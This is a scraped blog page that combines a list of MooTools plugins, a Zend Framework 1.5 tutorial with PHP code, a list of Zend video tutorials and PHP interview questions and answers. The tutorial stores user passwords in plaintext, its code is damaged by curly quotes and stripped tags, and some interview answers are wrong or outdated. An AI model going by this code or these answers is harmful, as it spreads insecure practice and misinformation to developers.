16. FancyForm

FancyForm script replaces old checkboxes with the new interactive and flexible checkboxes with Tick being the sign for checked option and cross for the unchecked option.

Read Full Tutorial
Demo

17. iPhone-Style Passwords Using MooTools PassShark

In this tutorial you will learn how to create a iPhone-like password field, showing the most recently typed character and hiding previous per normal password fields.

Read Full Tutorial
Demo

18. JavaScript drop down menu using Mootools

Drop down menus are very important for any website layout and beauty. So in this tutorial you will learn to create a very easy and unobtrusive drop down menu using MooTools Core Build and the Fx.Slide.

Read Full Tutorial
Demo

19. Kroppr

Kroppr is an image cropping tool for your website that allows users to rotate, re-size and crop images with minor changes to your site.

Read Full Tutorial
Demo

20. Milkbox

Milkbox is a simple and sleek lightbox clone written for MooTools.

Read Full Tutorial
Demo

21. MooFlow

MooFlow give you a completely awesome browsing experience on your website, almost same as you get on apple.com for viewing the products.

Download
Demo

22. mooRainbow

Description
Download
Demo

23. mooSlide

mooSlide replaces common lightbox with Ajax one. You can have any type of content in it like HTML or FLASH, it can slide from top or bottom. It can be very handy to create beautiful sliding login panel.

Download
Demo

24. MooTools CountDown Plugin

I assume every one have used rapidshare at least for one time and had to wait for some seconds for the downloading starts. Using MooTools you can make a similar CountDown plugin by the use of which you can implement the same system that rapidshare is using.

Original Link
Demo

25. MooTools Kwicks Plugin

MooTools Kwick Plugin will enable you to have a hidden detail of an image displayed when you take your cursor on that image.

Original Link
Demo

26. MooTools Zoomer Plugin

Zoomer provides an elegant method for zooming in on large images.

Original Link
Demo

27. Morph Effect on mouseenter/mouseleave with Mootools

In this tutorial you will learn to add an elegant morph effect on unordered list on mouseover. Demo can elaborate more about this tutorial.

Tutorial
Download
Demo

28. Sexy Animated Tabs Using MooTools

If you have less space and more content to display then you can use tab systems. This tutorial will show you how to create sexy and animated tabs which can handle lot of content in little space.

Read Full Tutorial
Demo

29. Sexy sliding JavaScript side bar menu using mootools

A sliding menu can help you to save a lot of space on your website. This tutorial will use MooTools to create a sexy sliding side bar menu with very smooth sliding effect.

Read Full Tutorial
Demo

30. Sliding Labels Using MooTools

This tutorial will teach you to create sliding labels using little jQuery code. Luckily the effect doesn’t require much MooTools code either!

Read Full Tutorial
Demo

31. Smooth Scrolling with MooTools Fx.SmoothScroll

Learn to create smooth scrolling effect using MooTools Fx.SmoothScroll.

Read Full Tutorial
Demo

32. TableGear

TableGear is a software package for working with data on the web. It is designed get your data into a web page, and let you work with it quickly and easily, the way you would in powerful desktop applications like Excel.

Download
Demo

33. Two CSS vertical menu with show/hide effects

This is a simple tutorial which will teach you to create two vertical menu with hide/shoe effect. One example will use Simple JavaScript and other will use MooTools.

Read Full Tutorial
Demo

34. Using CSS and Mootools to simulate Flash horizontal navigation effect

This tutorial explains how to use Mootools and pure CSS / HTML code to simulate a Flash (follow mouse) horizontal navigation effect.

Read Full Tutorial
Demo

35. Using MooTools to Instruct Google Analytics to Track Outbound Links

Google Analytical provides important information about your visitors and where they are coming from, and if you want to see what are the exit links then by using MooTools you can direct Google Analytic to track outbound links

36. Facebook-Style Modal Box Using MooTools

This tutorial will teach you to combine CSS, Facebook’s imagery and MooTools to create a stylish and lightweight Facebook like Modal Box.

Read Full Tutorial
Demo

37. SqueezeBox – Expandable Lightbox

SqeezeBox is an overly which is designed getting inspired from LightBox. It will display the images in the full size in the same window like LightBox.

Download
Demo

38. FancyUpload – Swiff meets Ajax

FancyUpload replaces unobtrusive, queued and multiple-file selection with a fancy animated progress bar. It is very easy to set up and completely customizable using CSS and XHTML.

Download

39. Create a Simple News Scroller Using MooTools

News scrollers are very common on internet because of their effectiveness. In this tutorial you will learn to create a simple news scroller using MooTools.

Read Full Tutorial
Demo

40. Checkbox Filtering Using MooTools ElementFilter

This tutorial will use MooTools ElementFilter to make a checkbox filter, for example if you are making a search box, when you type your search in the box, elements with matching text will automatically be checked!

Zend Framework Tutorial

2012-02-26T10:34:00.002-08:00

Introduction

I find myself constantly bombared with questions from students and co-workers I’ve introduced to the Zend Framework regarding how the different components can come together to form a basic application. I’ve searched, I have found, I have emailed great tutorials, but still the most common questions are posed “What’s should I include in index.php?”, “Should I use Zend_Db_Table?”, “And what about Zend_Form?”

The Scope of This Tutorial

What I’m proposing is an article that can get help you, the reader, get your hands wet by integrating the different components as seamlessly as possible. This article is not about the setup of the zend framework or how the various stand alone components work, but rather how they can be integrated. Neither does it look at the folder structure which is required, but where absolutely necessary I will make highlights. I’m going to assume that you have your .htaccess file in your webroot, index.php created, your include paths configured and Zend Framework installed. For the purpose of this tutorial i’ll be using MySQL and Zend Framework v1.5. This is a funcitonal tutorial which does not focus much on aesthetics. See Figure 1 for an illustration of my directory structure. Please note that Zend recommends that for PHP scripts the closing ?> can be omitted however for clarity in this tutorial I have included them.

The index.php File

Let’s take a lot at index.php, the bootstrap file for the application firstly.
//coder can also set include paths rather than modify php.ini
set_include_path(
get_include_path() . PATH_SEPARATOR .
‘./library’ . PATH_SEPARATOR .
‘./application’ . PATH_SEPARATOR .
‘./application/models’
);
require_once ‘Zend/Cache.php’;
require_once ‘Zend/Config/Ini.php’;
require_once ‘Zend/Controller/Front.php’;
require_once ‘Zend/Db.php’;
require_once ‘Zend/Db/Table.php’;
require_once ‘Zend/Layout.php’;
require_once ‘Zend/Registry.php’;
$config = new Zend_Config_Ini(‘./application/config.ini’, ‘production’);
//db config and connect
$params = array(
‘host’ => $config->database->host,
‘username’ => $config->database->username,
‘password’ => $config->database->password,
‘dbname’ => $config->database->name
);
$db = Zend_Db::factory($config->database->type, $params);
Zend_Db_Table::setDefaultAdapter($db);
//cache
$frontendOptions = array(‘lifetime’ => $config->cache->maxLifetime, ‘automatic_serialization’ => true);
$backendOptions = array(‘cache_dir’ => $config->cache->dir);
$cache = Zend_Cache::factory(‘Core’, ‘File’, $frontendOptions, $backendOptions);
//layout
$options = array(
‘layout’ => ‘default’,
‘layoutPath’ => ‘./application/layouts’,
‘contentKey’ => ‘content’,
);
Zend_Layout::startMvc($options);
//registry set
Zend_Registry::set(‘db’, $db);
Zend_Registry::set(‘cache’, $cache);
Zend_Registry::set(‘config’, $config);
//dispatch
$front = Zend_Controller_Front::getInstance();
$front->addModuleDirectory(‘application/modules’);
$front->dispatch();
?>
We can begin by setting the include path for our library, application and model files in the event we do not wish to make changes to php.ini. This enables us to require what I consider to be the core Zend Framework files from lines 10 to 16. Respectively files have been included which will enable us to perform caching, application wide configurations (handy for database password), routing of request in an Model View Controller environment, connecting to our choice of database, direct access to table information via the table data gateway pattern through inheritance, the ability to easy switch templates and the registry of variables in a manner the global keyword allows.
In line 18 the execution of the statement
$config = new Zend_Config_Ini(‘./application/config.ini’, ‘production’);
will open a connection to a configuration file config.ini which can be formatted by using the nested object property syntax. The second parameter to the constructor is the section of the configuration file which we wish to load, in this case production. The great thing is that because our test environment may be slightly different to production we can inherit and override the necessary variables (For a more detailed discussion on this see the Zend_Config_Ini documentation). So what does the content of our config.ini file look like? See Figure 2. After a successful instantiation what we’ll have $config, an object, loaded with the configuration items now as its properties. In light of this to access the name of the database the programmer will do so through $config->database->name. The depth of the configuration items is not limited to any number, however it will be simple if it remained shallow.
Lines 20 to 28 of index.php looks like this
//db config and connect
$params = array(
‘host’ => $config->database->host,
‘username’ => $config->database->username,
‘password’ => $config->database->password,
‘dbname’ => $config->database->name
);
$db = Zend_Db::factory($config->database->type, $params);
Zend_Db_Table::setDefaultAdapter($db);
A few important things are happening here. In line 21 an associative array of database configuration items have been created. The keys ‘host’, ‘username, ‘password’ and ‘dbname’ are required and will relate to the setting for the database server you have installed. These items were stored in the config.ini file located in the application directory. In Line 27 a factory method was used. The first parameter specifying the desired database type. The documentation for Zend_Db specifies the various adapters which can be used. The second is the database configuration array that was previously set up. For those interested a Zend_Config object can also be passed as a parameter to the factory method. See the documentation for more details.
Line 28 invokes a call to a static method belonging to Zend_Db_Table. To touch a bit on Zend_Db_Table, the class is an object-oriented interface to database tables. It provides methods for many common operations on tables. The base class is extensible, so you can add custom logic. The model which we will be writing later on will need to be aware of the database object being used to retrieve the necessary information. We can do this in various ways, however perharps the most suitable way is to set it in the bootstrap file. As a result we wouldn’t need to do this for various model classes later on.
From line 30 to 33 the cache is set up. The featured code is as follows:
//cache
$frontendOptions = array(‘lifetime’ => $config->cache->maxLifetime, ‘automatic_serialization’ => true);
$backendOptions = array(‘cache_dir’ => $config->cache->dir);
$cache = Zend_Cache::factory(‘Core’, ‘File’, $frontendOptions, $backendOptions);
The frontend and backend configuration items are set up such as the lifetime of each cached item and whether or not serialisation should be automatic (we may need to cache objects such as a list of countries so serialisation becomes important). For the backend configuration options because for the purpose of this tutorial caching is in files rather than against a database the cache directory is set up. One line 33 the cache object is created using the static factory method. There are other configuration options available. For a list see the ZF documentation.
For those interested in having various layouts and how it can be implemented in a MVC environment lines 35 to 42 will be of most interest. The programmer can create an associative array specifying the default layout to use, the path to the layout scripts and the content key. This content will be interpreted as what should be rendered when our view scripts are called. Pretty cool huh? This means that your view scripts will have nothing beside the code for the current page! Line 42 is where Zend_Layout is enabled with the configuration array in a MVC environ.
Zend_Registry is simply a container for storing objects and values in the application space. More than likely you’re going to want access to the database connection, cached object and configuration values later on so setting them in the bootstrap is a good idea. You can add any variable which qualifies using the static set method which takes two parameters, the key to store the variable under and the actual variable.
In a MVC environment the front controller handles the dispatching of work to the appropriate controller. This doesn’t just happen magically. Code is required and various naming conventions must be followed to ensure that this is properly done (we will see how later on in the tutorial). The static method getInstance is used to retrieve the front controller. The programmer must set the module directory as shown in line 49 and then dispatch the work like a traffic cop through a call to the dispatch method.

Actioning Requests

Let’s set up two files, make sure things are in order and then we’ll get to the discussion. Revisit Figure 1 for a second. In the modules directory, as depicted to the left of the illustration, create a folder and name it “default”. In “default” create three folders: one for your controllers, associated models and views. In the “views” folder create a folder named “scripts”. The norm is that in the “scripts” folder you will have folders for your views which relate to the name of the controllers nested in the module. Now that this file structure is set up go to the controllers directory. Create a file call IndexController.php and paste following code into it:
require_once ‘Zend/Controller/Action.php’;
class IndexController extends Zend_Controller_Action {
public function init() {
$this->initView();
}
public function preDispatch() {
}
public function postDispatch() {
}
public function indexAction() {
$this->render();
}
}?>
Now that’s over go to the views directory. Create a file called index.phtml and paste the following code into it:

Page body from view will be rendered. This corresponds to the content key that was set up in the
associative array with the key ‘content’.

Before you fire up your webserver and make a request go to the layouts directory in the application folder. Create a file called default.phtml and paste the following code:

Page header template here

layout()->content; ?>

Page footer template here

The IndexController

Now that’s over make a request. Your browser should display what’s in Figure 3. On the notion that it has, what’s happening is a few components are coming into play. With a focus on the IndexController according to the ZF documentation “Zend_Controller_Action is an abstract class you may use for implementing Action Controllers for use with the Front Controller when building a website based on the Model-View-Controller (MVC) pattern. To use Zend_Controller_Action, you will need to subclass it in your actual action controller classes (or subclass it to create your own base class for action controllers). The most basic operation is to subclass it, and create action methods that correspond to the various actions you wish the controller to handle for your site. Zend_Controller’s routing and dispatch handling will autodiscover any methods ending in ‘Action’ in your class as potential controller actions.”
Most likely you made a request to http://localhost. No module, controller or action was specified. This is where the default module comes in. If no element is specified then requests are sent by “default” to this module. To access the functionality it was necessary to require and inherit from the Zend_Controller_Action which provides us with a bunch of abstract methods and gives us the ability to write our own actions. As a rule we name our actions as methods postfixing it with the “Action” keyword. This class provides us with a few methods which we can hook code into. These are init, preDispatch and postDispatch on lines 5, 9 and 13 respectively. To us init is of interest where we lazy load the view public property which will later on aid in render a view based on the current request action as depicted in line 18. By default, for these elements to work in harmony the directory hierarchy must be adhered to. The hooks preDispatch and postDispatch come in handy when we want to do something before and after each and every action. For example we may wish to test a user against an access control list or the existence of a session for each action of a given module.

The View and Layout

Zend_Layout takes advantage of various extension points when used with the MVC components. Therefore when Zend_Layout::startMvc($options) was executed on line 42 of index.php a layout object was registered that could render the layout with content once dispatch was completed and furthermore an action helper was registered with the action controller we subclassed. The latter part allows us to change, or disable layouts from within the context of our controllers in the event we require something different for particular pages (naturally we would have other layout scripts).
The index.phtml page will contain the code we desire for a given page. In this case the homepage is merely a paragraph with some content.

Zend_Form

Let’s assume we want to create a form where users can register. Creating forms that can be easily validated is a breeze with Zend_Form. There are a lot of different approaches to how forms can be created, in terms of delegating functionality. Some people choose to create classes that subclass zend form. However I have found that once the number of forms I have grow the number of classes increase exponentially. Instead I choose to have a form class for each controller that includes the creation of forms through calls to static methods. This way I can easily include the functionality within the models folder for a given module, using naming conventions that are consistent with those of controllers and still in the end have a Zend_Form object returned for easy manipulation. Instead I postfix the name of the class with the word “Form”. Therefore in the models directory any forms I have relating to the IndexController will be found in the file IndexForm.php. So let’s create this class and then add code to the controller that will make rendering it possible.
require_once ‘Zend/Form.php’;
class IndexForm {
public static function registerForm() {
require_once ‘Zend/Form/Element/Text.php’;
require_once ‘Zend/Form/Element/Password.php’;
require_once ‘Zend/Form/Element/Radio.php’;
require_once ‘Zend/Form/Element/Submit.php’;
$form = new Zend_Form();
$form->setAction(‘/default/index/save’)
->setMethod(‘post’)
->setAttrib(‘class’, ‘editor’);
$email = new Zend_Form_Element_Text(‘email’);
$password = new Zend_Form_Element_Password(‘password’);
$gender = new Zend_Form_Element_Radio(‘gender’);
$email->addValidator(‘EmailAddress’)
->setRequired(true)
->addFilter(‘StringToLower’)
->setLabel(‘Email:’);
$password->setRequired(true)
->setLabel(‘Password:’);
$gender->setLabel(‘Gender:’)
->setSeparator(‘ ‘)
->addMultiOption(‘m’, ‘Male’)
->addMultiOption(‘f’, ‘Female’)
->removeDecorator(‘Errors’);
$form->addElement($email)
->addElement($password)
->addElement($gender)
->addElement(new Zend_Form_Element_Submit(‘Submit’));
return $form;
}
}
?>
?>
The next great thing about having these static methods is that we can require only the files we need for a given form. Personally I prefer to create my forms using code, maybe being from a Java background, so if you do let’s discuss the various elements. Zend_Form must be required. This class is the equivalent of a container onto which components can be added. The static method registerForm is my little convention insomuch that it corresponds with the name of the action. This is not absolutely necessary. From lines 8 to 17 I require the files representing XHTML elements of interest to the form. In our case, text boxes, password fields, radio buttons and the submit buttons. Line 15 to 17 sets up basic properties of interest to any form. As a parameter of setAction the module, controller, action we will like to post to is specified. Because these methods utilize the fluent interface (meaning at the end of the method call ‘this’ object is returned we can use the syntatical structure. Sometimes we may wish to set other attributes of the form. For this, the setAttrib method can be used which takes two parameters: the name of the attribute and the value we would like to set it to. Line 19 to 21 creates elements of the given type. The name we pass to the constructor will be interpreted as the name of the element when the XHTML form is rendered.
Filters and Validators can be added to these elements that we have created. There are various ways of adding validators. The qualifying name of the validator can be specified as a string parameter to the addValidator method. The same goes for filters. Another way would be to pass a reference to an named or anonymous instance of the class. For the email element, the email address validator is added. Similarly to Zend_Form these elements implement the fluent interface and enabling the shorthand access to the methods. To set the display label of the element the setLabel method is called. The programmer also has the option to specify whether or not the given field is required through passing of a boolean value to the method setRequired.
The means of setting validators and filters is consistent among elements. The only additionaly item I would like to highlight is for the cases of multioption elements such as the radio button. By default each radio button will be produced on a new line along with the label when the form is rendered. If you wish, you can modify this be making a call to setSeparator as illustrated on line 32. In the end it is best to return this form object. This comes in handy when we wish to set the values of an already created form as an example consider populating an edit form of a person. The setValue method can be used to accomplish just this.
Let us now create an action that can render this form.
public function registerAction() {
require_once ‘./application/modules/default/models/IndexForm.php’;
$this->view->form = IndexForm::registerForm();
$this->render();
}
I’m assuming you copied the action onto line 21. On line 23 the static method is called, creating and returning the form for storage in the already initialized view object. It will be necessary to create a register.phtml script. Once that is done paste the single line of code into the page
form?>
A request to /default/index/register should yield the results shown in Figure 4. If you’ve been successful so far you can view source to see what the form looks like. For ease i’ve listed include some CSS code that can be used to structure the form how “we know it”. I’m assuming that you will copy the code into a default.css file located in the css folder contained in the webroot.

CSS Code

body, li, td, input, select, p {
font-family: Verdana;
font-size: 11px;
line-height: 15px;
}
form {
margin: 0px;
padding: 0px;
}
form.editor dt, dd {
padding: 3px;
}
form.editor dt {
float: left;
width: 150px;
text-align: right;
padding-right: 0px;
}
form.editor dt label{
font-weight: bold;
}
form.editor dd {
margin-left: 158px;
}
form.editor .errors {
list-style: none;
padding: 0px;
/*background: #fff7d7;*/
padding: 5px;
margin: 2px;
}
form.editor .errors li {
font-family: Verdana, Arial, Helvetica, sans-serif;
font-size: 11px;
color: #ff0000;
text-align: left;
}
Include the following line into register.phtml and refresh:

Good to go? I hope so!

Validating Our Form

When the page is refreshed you should see the results denoted in Figure 5. You will recall on line 17 of the class IndexForm we specified the class attribute. Line 15 of this same class dictates that a post will be to the save action of the default controller. This is where validation and database access becomes important so we’ll tackle the two areas sequentially. Create a save action in the index controller of the default module. This time before I show the code let’s discuss the sequence of events.
1. We have to get back the Zend_Form object through a call to the same method that created the form.
2. We have to test the form to see if it is valid against the superglobal $_POST.
3. If the form is not valid we have to store the form in the view object and render the register script.
4. If the form is valid we have to proceed to save the values in the database.
We’ll extend saveAction as we go along. Let’s cater for steps 1 to 3 first of all:
public function saveAction() {
require_once ‘./application/modules/default/models/IndexForm.php’;
$form = IndexForm::registerForm();
//handle if form is invalid
if (!$form->isValid($_POST)) {
$this->view->form = $form;
$this->render(‘register’);
return;
}
}
Firstly we require and get the form object. Zend_Form has a method isValid that takes an associative array. If the form is invalid when checked against the validators we specified in IndexForm the method returns false. In this case we can simply register form with the view object and render the register.phtml script. We must return the method thereafter.
Catering for step 4 means we require a model file that can do the work easily for us. Let’s take a look at Zend_Db_Table.

Zend_DB_Table

Before zend_Db_Table I found myself wearied by creating model classes complete with getters and setters for each relation I had in my database and fetchList and fetchRow methods which not only accessed some database connection, but also created and populated objects. This would become messier and messier each time I had an object composed of another, because with OOP there is no foreign key, but rather a collection of objects. I was confused as to whether or not I should automatically load up the next object and eventually went as far as having a lazy load parameter. So to me Zend_Db_Table is a blessing not in disguise, but simply a blessing. I now have the ability to subclass this beauty of a class, specify the name of the table the class should map to, its primary key and provide a database object which was already done through a call to the static method Zend_Db_Table::setDefaultAdapter($db); on line 28 of index.php. So now that’s done and doesn’t need to happen again let’s create a database table in our zend database and a corresponding class. The code for the sql is as follows below.
CREATE TABLE `user` (
`id` int(10) unsigned NOT NULL auto_increment,
`email` varchar(100) NOT NULL,
`password` varchar(32) NOT NULL,
`gender` char(1) NOT NULL,
PRIMARY KEY (`id`)
) ENGINE=InnoDB DEFAULT CHARSET=latin1 AUTO_INCREMENT=1 ;
In the models directory create a file User.php and paste the following code:
class User extends Zend_Db_Table_Abstract {
protected $_name = ‘user’;
protected $_primary = ‘id’;
}
?>
There are more options that you can set up such as a reference map between classes and database entities, which can make fetching parent rows and dependent rowsets easier. For the purpose of this tutorial I wouldn’t go so far. We’ll incorporate the use of the User class to save a record to the database.

Back To The Controller

Assuming our validation went okay, we have to cater for the form that must be saved. Let’s look at the modified saveAction and then discuss the elements (I’m assuming that this code is pasted into your editor from page 28 of the IndexController therefore line numbers in such manner:
public function saveAction() {
require_once ‘./application/modules/default/models/IndexForm.php’;
$form = IndexForm::registerForm();
//handle if form is invalid
if (!$form->isValid($_POST)) {
$this->view->form = $form;
$this->render(‘register’);
return;
}
//get form values
$v = $form->getValues();
//include model
require_once ‘models/User.php’;
$user = new User();
$data = array(
‘email’ => $v['email'],
‘password’ => $v['password'],
‘gender’ => $v['gender']
);
$user->insert($data);
$this->render();
}
If the boolean expression on line 33 returned true, control would have jumped to line 40 where the filtered values of the form would have been retrieved using the method getValues. To prevent hacking sql together for the insert the programmer can
create an associative array which maps to the database field and through an instantiated User object make a call to the insert method passing the array as a parameter as shown on line 51. What joy! The insert method handles quoting of any data in the array therefore this doesn’t need to be explicitly done. Thereafter a call to the render method will display a script congratulating the user on their registration. As a small test create a such phtml script. Remember the rules and conventions!
It will be a good idea in such actions as the one above to test whether the request was indeed a post. This can be done via a call to the isPost method of the request object and is accessible through the action controller through $this->getRequest(). Therefore testing whether something is a post can be done as follows if (!$this->getRequest()->isPost()). If the expression results in false the programmer can forward the script to a preferred location.

Back to Zend_DB_Table

Let’s add a list action to IndexController.php. I’m assuming that the below code is pasted starting from line 55 of IndexController.php:
public function listAction() {
//include model
require_once ‘models/User.php’;
$user = new User();
$userInfo = $user->info();
//print_r($userInfo); exit;
$this->view->rsUserList = $user->fetchAll(null, ‘email’);
$this->render();
}
The model is included and an object created. While line 59 is of no consequence to this particular action it demonstrates a method that is crucial to development. The info method returns an array of information specific to the database table to which it has been mapped. That means you can access the name of the database table (handy if you can’t decide on a standard for naming tables in the office) and mappings of database fields to columns (just ensure that the fields never change position if you choose to use an index to access fields rather than their names). Pressing on, line 62 makes a call to an instance method fetchAll. All parameters of this method are optional. The first can be a string which specifies a where clause. The second is the field which you wish to sort the table by. This can be a comma separated list postfixed by “asc” or “desc” depending on the order you wish to sort by. It is important to note that a list of objects are returned from this method therefore fields are accessed using the -> notation. For programmers wishing an array of results a subsequent call can be made to the toArray() method. For example:
$user->fetchAll()->toArray();
The list is registered with the view object so it can be accessed from list.phtml, for which the code is pasted below:
if (count($this->rsUserList) > 0) {
echo ‘
’;
echo ‘’;
echo ‘’;
echo ‘’;
echo ‘’;
foreach ($this->rsUserList as $rsURow) {
echo ‘
’;
echo ‘’;
echo ‘’;
echo ‘’;
}
echo ‘

Email	Gender
’.$rsURow->email.’	’.strtoupper($rsURow->gender).’

’;
}
else {
echo ‘No records found
’;
}
?>
You may be wondering why in our phtml scripts our registered variables aren’t being accessed as $this->view->rsUserList. It’s because the script is being rendered within the context of the default view object therefore elements must be accessed via the this keyword. The script is straightforward at this point performing a count on the number of records returned. If it is greater than zero then the list of objects are traversed. The name of the instance variables will map to the name of the fields in the database making this approach ideal for data driven applications. Figure 6 shows what the formatted results would look like.

Putting Zend_Registry and Zend_Cache Into Perspective

Take a look at the following action which I want you to paste starting from line 66 of the IndexController:
public function cachelistAction() {
$db = Zend_Registry::get(‘db’);
$cache = Zend_Registry::get(‘cache’);
require_once ‘models/User.php’;
$user = new User();
$userInfo = $user->info();
$tblUser = $userInfo['name'];
if (!$result = $cache->load(‘userlist’)) {
$select = $db->select();
$select->from($tblUser);
$result = $db->fetchAll($select);
$cache->save($result, ‘userlist’);
}
$this->view->userList = $result;
$this->render();
}
On line 67 and 68 we reclaim our global variables which we registered with Zend_Registry. To return the values simply specify the key as a parameter to the get method. By now line 70 to 73 should be familiar to us. According to the Zend Framework documentation
“There are three key concepts in Zend_Cache. One is the unique indentifier (a string) that is used to identify cache records. The second one is the ‘lifetime’ directive as seen in the examples; it defines for how long the cached resource is considered ‘fresh’. The third key concept is conditional execution so that parts of your code can be skipped entirely, boosting performance.”
In our case on line 75 this is the “userlist” which we attempt to load. If the cache does not have such a record, the variable $result will be null and the code within the if statement executed. The lifetime directive was already specified on line 31 of index.php. In our example a registered user list will not be fresh after every registration so a lifespan of 2 hours may be unrealistic. This is merely for the purpose of demonstration. Therefore line 76 to 79 will include code that can get and cache the user list. Another feature of Zend_Db is demonstrated. The database object can be used to create a select object specific to the adapter specified in the beginning. This select object is ideal when forming SQL statements based on logic for example joining to or ordering tables based on some sort parameter specified in a get request. Notice that on line 77 the literal name of the table is not used but rather the info derived from the user class. Through a call to fetchAll which can take a sql string or select object, the results are returned and then cached using the save method. At this point the key is specified and data. Remember we configured the cache to automatically serialise our results so it’s okay even though an array of results will be returned. Results are also automatically unserialized. You can follow the code in list.phtml and attempt to write a view script for cachelist.phtml. It’s very easy!

Conclusion

I hope this to be a neat introduction to those out there who may wish to set up an application which maximizes the use of what I would call the Zend Framework “base components”. Utilizing the few classes I have discussed in this tutorial you can create sophisticated applications in 1/4 of the time you may be doing so in right now (I speak from experience). As always feel free to comment or email me. I’ll be more than happy to contribute. Click here to download my source files

zend framework videos

2012-02-26T10:32:00.002-08:00

These are just the first of many planned video tutorials on the Zend web application framework for PHP.
These particular videos require a little more background knowledge from the viewer, in terms of overall php development experience.
We will have more basic videos coming out soon.

Video Tutorials

Zend Framework video tutorials by Jon Lebensold.

Setting Up an MVC Structure with the Zend Framework - Part 1
The following video deals with setting up an MVC structure with the Zend Framework. Part 1 of 2
Download Zend MVC source files: Download
MVC Structure with the Zend Framework - Part 1
Setting Up an MVC Structure with the Zend Framework - Part 2
The following video deals with setting up an MVC structure with the Zend Framework. Part 2 of 2
MVC Structure with the Zend Framework - Part 2
Setting Up Zend Development - Part 1
The following 2 videos deal with setting up a development environment. These screencasts are an attempt at showing you how it's possible to work with the Zend framework.
This video assumes that you're a little familiar with:
- How to work with subversion
- A familiarity with the terminal (bash specifically)
- Configuring apache and setting up a *AMP
  (Apache / MySQL / PHP) stack
These 2 videos are by no means a pre-requisite to my future videos, however I wanted to take the time and give you glimpse into my own development configuration.
While the Zend Studio for Eclipse is maturing nicely, the $300 price tag for the application might not make sense, especially since it's yet another barrier into diving into the Zend Framework.
By the end of these two videos, you should have a very peripheral understanding of how the Zend Framework is instantiated through the PHP parser sitting on Apache.
Interestingly enough, if you're coming from a procedural PHP background, you're going to be familiar with working without the a development environment like Eclipse, and so you'll be more in touch with how PHP as a parser works without what the Zend Framework (and specifically Zend_Controller) offers the developer.
Setting Up Zend Development - Part 1 of 2
Setting Up Zend Development - Part 2
Setting Up Zend Development - Part 2 of 2
Zend Controller and Zend View
This is essentially a continuation of the Zend project project that began in the videos: 'Setting Up Zend Development Part 1 and 2.'
The goal of this video is to dig a little deeper into the structure of a Zend project.
Remember that one of the main points of a web framework like the Zend Framework, is to provide a standardized structure for web applications so programmers new to a particular job (built with a framework) will be able to much more easily jump into a project... assuming they've worked with that framework before.
Running time: 10:33
Zend Controller and View Video Tutorial

PHP interview questions and answers

2012-02-26T10:28:00.001-08:00

Questions : 1 Who is the father of PHP ?

Answers : 1 Rasmus Lerdorf is known as the father of PHP.

Questions : 2 What is the difference between $name and $$name?

Answers : 2 $name is variable where as $$name is reference variable
like $name=sonia and $$name=singh so $sonia value is singh.

Questions : 3 How can we submit a form without a submit button?

Answer : 3 Java script submit() function is used for submit form without submit button
on click call document.formname.submit()

Questions : 4 In how many ways we can retrieve the data in the result set of
MySQL using PHP?

Answer : 4 We can do it by 4 Ways
1. mysql_fetch_row. , 2. mysql_fetch_array , 3. mysql_fetch_object
4. mysql_fetch_assoc

Questions : 5 What is the difference between mysql_fetch_object and
mysql_fetch_array?

Answers : 5 mysql_fetch_object() is similar tomysql_fetch_array(), with one difference -
an object is returned, instead of an array. Indirectly, that means that
you can only access the data by the field names, and not by their
offsets (numbers are illegal property names).

Questions : 6 What are the differences between Get and post methods.

Answers : 6

There are some defference between GET and POST method
1. GET Method have some limit like only 2Kb data able to send for request
But in POST method unlimited data can we send
2. when we use GET method requested data show in url but
Not in POST method so POST method is good for send sensetive request

Questions : 7 How can we extract string "pcds.co.in " from a string "http://info@pcds.co.in
using regular expression of PHP?

Answers : 7 preg_match("/^http:\/\/.+@(.+)$/","http://info@pcds.co.in",$matches);
echo $matches[1];

Questions : 8 How can we create a database using PHP and MySQL?

Answers : 8 We can create MySQL database with the use of
mysql_create_db("Database Name")

Questions : 9 What are the differences between require and include?

Answers : 9 Both include and require used to include a file but when included file not found
Include send Warning where as Require send Fatal Error .

Questions : 10 Can we use include ("xyz.PHP") two times in a PHP page "index.PHP"?

Answers : 10 Yes we can use include("xyz.php") more than one time in any page. but it create a prob when xyz.php file contain some funtions declaration then error will come for already declared function in this file else not a prob like if you want to show same content two time in page then must incude it two time not a prob

Questions : 11 What are the different tables(Engine) present in MySQL, which one is default?

Answers : 11 Following tables (Storage Engine) we can create
1. MyISAM(The default storage engine IN MYSQL Each MyISAM table is stored on disk in three files. The files have names that begin with the table name and have an extension to indicate the file type. An .frm file stores the table format. The data file has an .MYD (MYData) extension. The index file has an .MYI (MYIndex) extension. )
2. InnoDB(InnoDB is a transaction-safe (ACID compliant) storage engine for MySQL that has commit, rollback, and crash-recovery capabilities to protect user data.)
3. Merge
4. Heap (MEMORY)(The MEMORY storage engine creates tables with contents that are stored in memory. Formerly, these were known as HEAP tables. MEMORY is the preferred term, although HEAP remains supported for backward compatibility. )
5. BDB (BerkeleyDB)(Sleepycat Software has provided MySQL with the Berkeley DB transactional storage engine. This storage engine typically is called BDB for short. BDB tables may have a greater chance of surviving crashes and are also capable of COMMIT and ROLLBACK operations on transactions)
6. EXAMPLE
7. FEDERATED (It is a storage engine that accesses data in tables of remote databases rather than in local tables. )
8. ARCHIVE (The ARCHIVE storage engine is used for storing large amounts of data without indexes in a very small footprint. )
9. CSV (The CSV storage engine stores data in text files using comma-separated values format.)
10. BLACKHOLE (The BLACKHOLE storage engine acts as a "black hole" that accepts data but throws it away and does not store it. Retrievals always return an empty result)

Questions : 12 What is use of header() function in php ?

Answers : 12 The header() function sends a raw HTTP header to a client.We can use herder()
function for redirection of pages. It is important to notice that header() must
be called before any actual output is seen..

Questions : 13 How can I execute a PHP script using command line?

Answers : 13 Just run the PHP CLI (Command Line Interface) program and
provide the PHP script file name as the command line argument.

Questions : 14 Suppose your Zend engine supports the mode Then how can u
configure your PHP Zend engine to support mode ?

Answers : 14 In php.ini file:
set
short_open_tag=on
to make PHP support

Questions : 15 Shopping cart online validation i.e. how can we configure Paypal,
etc.?

Answers : 15 Nothing more we have to do only redirect to the payPal url after
submit all information needed by paypal like amount,adresss etc.

Questions : 16 What is meant by nl2br()?

Answers : 16 Inserts HTML line breaks (
) before all newlines in a string.

Questions : 17 What is htaccess? Why do we use this and Where?

Answers : 17 .htaccess files are configuration files of Apache Server which provide
a way to make configuration changes on a per-directory basis. A file,
containing one or more configuration directives, is placed in a particular
document directory, and the directives apply to that directory, and all
subdirectories thereof.

Questions : 18 How we get IP address of client, previous reference page etc ?

Answers : 18 By using $_SERVER['REMOTE_ADDR'],$_SERVER['HTTP_REFERER'] etc.

Questions : 19 What are the reasons for selecting lamp (Linux, apache, MySQL,
PHP) instead of combination of other software programs, servers and
operating systems?

